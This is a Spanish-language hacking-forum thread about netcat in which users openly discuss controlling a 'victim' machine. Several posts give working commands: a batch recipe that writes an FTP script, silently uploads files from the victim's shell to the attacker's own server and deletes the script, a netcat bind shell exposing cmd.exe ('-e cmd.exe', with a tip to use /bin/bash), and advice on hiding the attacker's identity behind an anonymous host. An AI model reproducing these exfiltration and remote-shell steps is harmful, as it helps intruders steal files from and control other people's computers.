 Autor
|
Tema: Jugando con netcat (Leído 54760 veces)
|
pascal88
 Desconectado
Mensajes: 22
|
8. Por último presionas en "OK"
Ufff... ahora que ya configuramos nuestro servidor FTP podemos hacer las transferencias de archivos... ¿como?... facil mi querido watson...
Desde tu shell crearemos un texto que nos permitirá ejecutar los comandos del FTP.
echo o >> ftp.txt
echo mi_ip >> ftp.txt
echo user >> ftp.txt (Recuerda que lo vimos en el paso 1)
echo pass >> ftp.txt (esto también lo vimos en el paso 3)
echo GET archivo >> ftp.txt
echo quit >> ftp.txt
El comando GET significa que le subirás un archivo y el comando PUT es porque le sacarás un archivo para ponerlo en tu pc. Puedes aplicar mas de uno como por ejemplo:
Ahora ejecutamos el FTP desde mi shell de la siguiente manera: ftp.exe -s:ftp.txt y bualá!...
Justamente despues de hacer eso, me pone que hay un error desconocido. Quiza no lo ponga donde es, donde se pone eso, en la shell donde salen los datos de la victima o en la mia? es que no se que puede pasar!!! ayuda pleaseeee!! |
|
|
|
|
En línea
|
|
|
|
|
|
D4RIO
Desconectado
Mensajes: 403
"ser el mejor no es suficiente" - slackbyte
|
Mejor busca tutos sobre tcp/ip y transferencias de datos, y sockets... eso es lo que manejas desde nc, nada más, por eso lo usan los administradores de redes.
|
|
|
|
|
En línea
|
Linux Registred User #452001 : : 0010 0100 - HS CODING : :
|
|
|
pascal88
Desconectado
Mensajes: 22
|
Hola, mirad, yo tengo un dominio de estos de iespana, entonces, digo, desde la shell de la victima, cojo y subo los archivos que quiera, y desde mi shell luego los veo.
Pero pasa una cosa, cuando pongo en la shell de la victima:
ftp 82.196...
(me pide usuario) y se lo pongo
pero sq, ahi se queda pensando un rato, y no sale nada, sq no me puedo conectar a mi servidor para subir algo, desde una shell remota??
Por favor, contestar!!
Gracias.
|
|
|
|
|
En línea
|
|
|
|
drzboii94
Desconectado
Mensajes: 17
|
no entiendo cual archivo es que tengo que anadir a .rrar
|
|
|
|
|
En línea
|
|
|
|
elmeister
Desconectado
Mensajes: 60
|
Hola, mirad, yo tengo un dominio de estos de iespana, entonces, digo, desde la shell de la victima, cojo y subo los archivos que quiera, y desde mi shell luego los veo.
Pero pasa una cosa, cuando pongo en la shell de la victima:
ftp 82.196...
(me pide usuario) y se lo pongo
pero sq, ahi se queda pensando un rato, y no sale nada, sq no me puedo conectar a mi servidor para subir algo, desde una shell remota??
Por favor, contestar!!
Gracias.
usa el código siguiente, donde pone script dejalo tal cual, es un archivo que crearás y despues borrarás echo usuario>>script
echo pass>>script
echo ascii>>script
echo put [PON AQUI LA RUTA DEL ARCHIVO QUE QUIERES SUBIR]>>script
echo bye>>script
start ftp -s:script [aqui la direccion del servidor al que vas a subir el archivo]>nul
del script
repite el proceso por cada archivo, o añade varias lineas de echo put [archivo]>>script antes del echo bye>>script |
|
|
|
|
En línea
|
|
|
|
D4RIO
Desconectado
Mensajes: 403
"ser el mejor no es suficiente" - slackbyte
|
drzboii94:
Primero quemarse la cabeza y despues si preguntar... apuesto a que no leiste ni medio...sentate, perde una o dos horas en leer, y no nos hagas perder el tiempo a nosotros por vos: se menciono mil veces que es nc.exe, renombrado, cambiado, lo que quieras, de todas formas no es cosa de geeks... yo programo mis popias versiones.
pascal88:
Si usas un dominio en iespana con tus datoos te expones demasiado. yo uso una, pero anonima, entonces el es el que accede, y sube archivos por el ftp de iespana, y yo los descargo como si fuera un usuario comun... jeje. el tema es que encriptes bien el usuario y pass del ftp... no los vayas a incluir en el fuente o un dump bastaria para verlos...
a demas usa php para que la capacidad de bajar algunos archivos sea solo con un pass...xd
se creativo...
|
|
|
|
|
En línea
|
Linux Registred User #452001 : : 0010 0100 - HS CODING : :
|
|
|
drzboii94
Desconectado
Mensajes: 17
|
drzboii94:
Primero quemarse la cabeza y despues si preguntar... apuesto a que no leiste ni medio...sentate, perde una o dos horas en leer, y no nos hagas perder el tiempo a nosotros por vos: se menciono mil veces que es nc.exe, renombrado, cambiado, lo que quieras, de todas formas no es cosa de geeks... yo programo mis popias versiones.
pascal88:
Si usas un dominio en iespana con tus datoos te expones demasiado. yo uso una, pero anonima, entonces el es el que accede, y sube archivos por el ftp de iespana, y yo los descargo como si fuera un usuario comun... jeje. el tema es que encriptes bien el usuario y pass del ftp... no los vayas a incluir en el fuente o un dump bastaria para verlos...
a demas usa php para que la capacidad de bajar algunos archivos sea solo con un pass...xd
se creativo...
Lo ley entero pero lo que pasa es que mira lo que me sale despues que pongo NC -VV -L -P 80  |
|
|
|
|
En línea
|
|
|
|
pascal88
Desconectado
Mensajes: 22
|
usa el código siguiente, donde pone script dejalo tal cual, es un archivo que crearás y despues borrarás echo usuario>>script
echo pass>>script
echo ascii>>script
echo put [PON AQUI LA RUTA DEL ARCHIVO QUE QUIERES SUBIR]>>script
echo bye>>script
start ftp -s:script [aqui la direccion del servidor al que vas a subir el archivo]>nul
del script
repite el proceso por cada archivo, o añade varias lineas de echo put [archivo]>>script antes del echo bye>>script perdona que sea tan pesao hombre, pero es que veras, desde la consola de mi pc pongo eso tal cual, es decir, en usuario y en pass no pongo mis datos, lo pongo igual que viene en tu post. y me sube el archivo!, pero desde la shell de la "victima" no lo sube tio! que hago? Una ayudita porfavoooooo!!! grasiasss |
|
|
|
|
En línea
|
|
|
|
|
|
D4RIO
Desconectado
Mensajes: 403
"ser el mejor no es suficiente" - slackbyte
|
drzboii94: Amigo decidite... tu post decia: no entiendo cual archivo es que tengo que anadir a .rrar te respondi que leas y me pones: Lo ley entero pero lo que pasa es que mira lo que me sale despues que pongo
Citar
NC -VV -L -P 80 y tu imagen... ¿Estas creando el RAR o intentando una conexion desastrosa?¿Porque no aparece localhost o 127.0.0.1 en ningun lado de tu salida?¿Sabes como funciona NetCat?¿Porque no intentas con un script Perl para ver si podes así, o te haces un programa en C++? Esa es la cosa... no podes postear cada vez que haces un paso y no te sale... tenes que intentar resolverlo primero por vos mismo... GOOGLE!!! |
|
|
|
|
En línea
|
Linux Registred User #452001 : : 0010 0100 - HS CODING : :
|
|
|
|
|
vitaepe
Desconectado
Mensajes: 17
|
esta interesante el tema pero hice lo que mencionan en la primera parte en la consola de ubuntu vitaepe@vitaepe-desktop:~$ nc Cmd line: -l -p4455 -e cmd.exe luego de eso hice un nmap al sistema vitaepe@vitaepe-desktop:~$ nmap 192.168.1.34 Starting Nmap 4.20 ( http://insecure.org ) at 2008-04-27 18:08 PET All 1697 scanned ports on 192.168.1.34 are closed no abrio ningun puerto en mi ordenador, alguien sabe a que se debe? |
|
|
|
|
En línea
|
|
|
|
D4RIO
Desconectado
Mensajes: 403
"ser el mejor no es suficiente" - slackbyte
|
vitaepe@vitaepe-desktop:~$ nc
Cmd line: -l -p4455 -e cmd.exe Eso abre el 4455 a la escucha pero cmd.exe es el shell de Windows! En linux deberías poner "/bin/bash"... Hiciste un escaneo con nmap y venis con un diagnostico totalmente errado, fruto de no hacer las pruevas que deberías... en pimer lugar nmap tiene muchísimas opciones, pero así y todo no es ese el camino para ver si el puerto está abierto... para lo que más sirve nmap es para detección remota de SO. Mira... hace "nc -z -vv 192.168.1.34 4443-4446" y vas a ver que no era como creias. O bien "nc -vv localhost 4455". A demás si usaras -vv en el comando que indicas verías que sí está escuchando... si no lo hiciera mandaría un error. |
|
|
|
|
En línea
|
Linux Registred User #452001 : : 0010 0100 - HS CODING : :
|
|
|
vitaepe
Desconectado
Mensajes: 17
|
vitaepe@vitaepe-desktop:~$ nc -z -vv 192.168.1.34 4443-4446
192.168.1.34: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.34] 4446 (?) : Connection refused
(UNKNOWN) [192.168.1.34] 4445 (?) : Connection refused
(UNKNOWN) [192.168.1.34] 4444 (?) : Connection refused
(UNKNOWN) [192.168.1.34] 4443 (?) : Connection refused
sent 0, rcvd 0
vitaepe@vitaepe-desktop:~$ nc -vv localhost 4455
localhost [127.0.0.1] 4455 (?) : Connection refused
sent 0, rcvd 0
Estos son los resultados, voy a seguir probando
|
|
|
|
|
En línea
|
|
|
|
|
 |
